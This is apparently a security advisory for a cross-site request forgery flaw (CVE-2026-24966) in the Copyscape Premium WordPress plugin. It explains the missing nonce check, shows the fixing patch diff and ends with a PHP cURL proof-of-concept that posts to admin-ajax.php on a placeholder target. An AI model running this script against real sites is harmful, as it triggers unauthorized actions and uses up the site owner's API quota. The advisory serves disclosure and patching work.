Atomic Edge analysis of CVE-2026-24966:
The Copyscape Premium WordPress plugin contains a Cross-Site Request Forgery vulnerability in versions up to and including 1.4.1. The vulnerability exists in the plugin’s AJAX request handler, allowing attackers to trick authenticated users into performing unauthorized actions.
Atomic Edge research identifies the root cause as missing nonce validation in the `ajax_copyscape_post` function. The vulnerable code, located in `/copyscape-premium/copyscape.php`, registered the function to handle both `wp_ajax_copyscape_check` and `wp_ajax_nopriv_copyscape_check` hooks. The function performed user capability checks but lacked verification of the CSRF nonce token. This allowed any request to the `/wp-admin/admin-ajax.php` endpoint with the `action=copyscape_check` parameter to bypass CSRF protections.
Exploitation requires an attacker to craft a malicious web page or link that sends a POST request to the WordPress site’s `/wp-admin/admin-ajax.php` endpoint. The payload must include `action=copyscape_check` and `copyscape_post_id` parameters targeting a specific post. When an authenticated administrator visits the malicious page, their browser automatically submits the request with their session cookies, triggering the Copyscape check function without their consent.
The patch in version 1.4.2 addresses the vulnerability through multiple changes. First, it removes the `wp_ajax_nopriv_copyscape_check` hook registration, preventing unauthenticated access. Second, it adds nonce verification using `wp_verify_nonce()` to check for a valid `copyscape_nonce` parameter. Third, it implements proper error handling with `wp_send_json_error()` when security checks fail. The patch also removes an incorrect nonce check from the `copyscape_post` function that was using `wp_create_nonce()` incorrectly.
Successful exploitation allows attackers to trigger the Copyscape duplicate content checking functionality on arbitrary posts. While this specific action may not directly compromise data integrity, it demonstrates a CSRF flaw that could be chained with other vulnerabilities. The Atomic Edge assessment confirms this vulnerability enables unauthorized actions within the plugin’s capabilities, potentially disrupting site operations or consuming API resources.
--- a/copyscape-premium/copyscape.php
+++ b/copyscape-premium/copyscape.php
@@ -3,7 +3,7 @@
Plugin Name: Copyscape Premium
Plugin URI: http://www.copyscape.com/
Description: The Copyscape Premium plugin lets you check if new content is unique before it is published, by checking for duplicate content on the web. If you do not already have a Copyscape Premium account, please <a href="http://www.copyscape.com/redirect/?to=prosignup" target="_blank">sign up</a>, select 'Premium API' from the 'Copyscape Premium' menu, and click 'Enable API access' to see your API key. Return to Wordpress, activate the WP plugin, and enter your API key when prompted, or enter it directly into the plugin <a href="./options-general.php?page=copyscape_menu">settings</a>.
-Version: 1.4.1
+Version: 1.4.2
Author: Copyscape / Indigo Stream Technologies
Author URI: http://www.copyscape.com/
License: MIT
@@ -38,7 +38,6 @@
add_action('admin_init', 'copyscape_redirect'); // Redirects to First Time Wizard after setup (once!)
add_action('admin_init', 'copyscape_roleset'); // Assigns can_copyscape to roles
add_action('init', 'copyscape_override'); // Publishes post if user selects "publish anyway"
-add_action('wp_ajax_nopriv_copyscape_check', 'ajax_copyscape_post', 1);
add_action('wp_ajax_copyscape_check', 'ajax_copyscape_post', 1);
define('COPYSCAPE_TBL', 'copyscape_tbl'); // Table name
@@ -429,14 +428,9 @@
/* Tracks post status change to detect publishing and updating posts */
function copyscape_post($new, $old, $post)
{
- // Additional security checks
- if (!wp_verify_nonce(wp_create_nonce('copyscape_post_action'), 'copyscape_post_action')) {
- return;
- }
-
// Sanitize inputs
- $new = sanitize_text_field($new);
- $old = sanitize_text_field($old);
+ $new = sanitize_text_field( $new );
+ $old = sanitize_text_field( $old );
if (isset($_GET['copyscape_publish_anyway']))
return; // Manual override, ignore any and all checks
@@ -470,20 +464,26 @@
function ajax_copyscape_post()
{
// Additional security headers
- header('X-Content-Type-Options: nosniff');
- header('X-Frame-Options: SAMEORIGIN');
+ header( 'X-Content-Type-Options: nosniff' );
+ header( 'X-Frame-Options: SAMEORIGIN' );
- if (isset($_REQUEST["action"]) && $_REQUEST["action"] == "copyscape_check") {
+ if ( isset( $_REQUEST["action"] ) && $_REQUEST["action"] == "copyscape_check" ) {
+ // Verify nonce for CSRF protection
+ if ( !isset( $_POST['copyscape_nonce'] ) || !wp_verify_nonce( $_POST['copyscape_nonce'], 'copyscape_ajax_nonce' ) ) {
+ wp_send_json_error( 'Security check failed' );
+ return;
+ }
+
// Additional input validation
- $post_id = isset($_POST['copyscape_post_id']) ? absint($_POST['copyscape_post_id']) : 0;
- if (!$post_id) {
- wp_send_json_error('Invalid post ID');
+ $post_id = isset( $_POST['copyscape_post_id'] ) ? absint( $_POST['copyscape_post_id'] ) : 0;
+ if ( !$post_id ) {
+ wp_send_json_error( 'Invalid post ID' );
return;
}
// Verify user has permission to edit this post
- if (!current_user_can('edit_post', $post_id)) {
- wp_send_json_error('Permission denied');
+ if ( !current_user_can( 'edit_post', $post_id ) ) {
+ wp_send_json_error( 'Permission denied' );
return;
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-24966 - Copyscape Premium <= 1.4.1 - Cross-Site Request Forgery
<?php
// Configuration
$target_url = 'https://vulnerable-site.com';
$post_id = 1; // Target post ID
// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Prepare the CSRF payload
$post_fields = [
'action' => 'copyscape_check',
'copyscape_post_id' => $post_id
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Display results
if ($response === false) {
echo "cURL Error: " . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// Check for success indicators
if (strpos($response, 'success') !== false) {
echo "[+] CSRF attack likely successfuln";
} else if (strpos($response, 'Security check failed') !== false) {
echo "[-] Target appears patched (nonce check present)n";
}
}
curl_close($ch);
?>
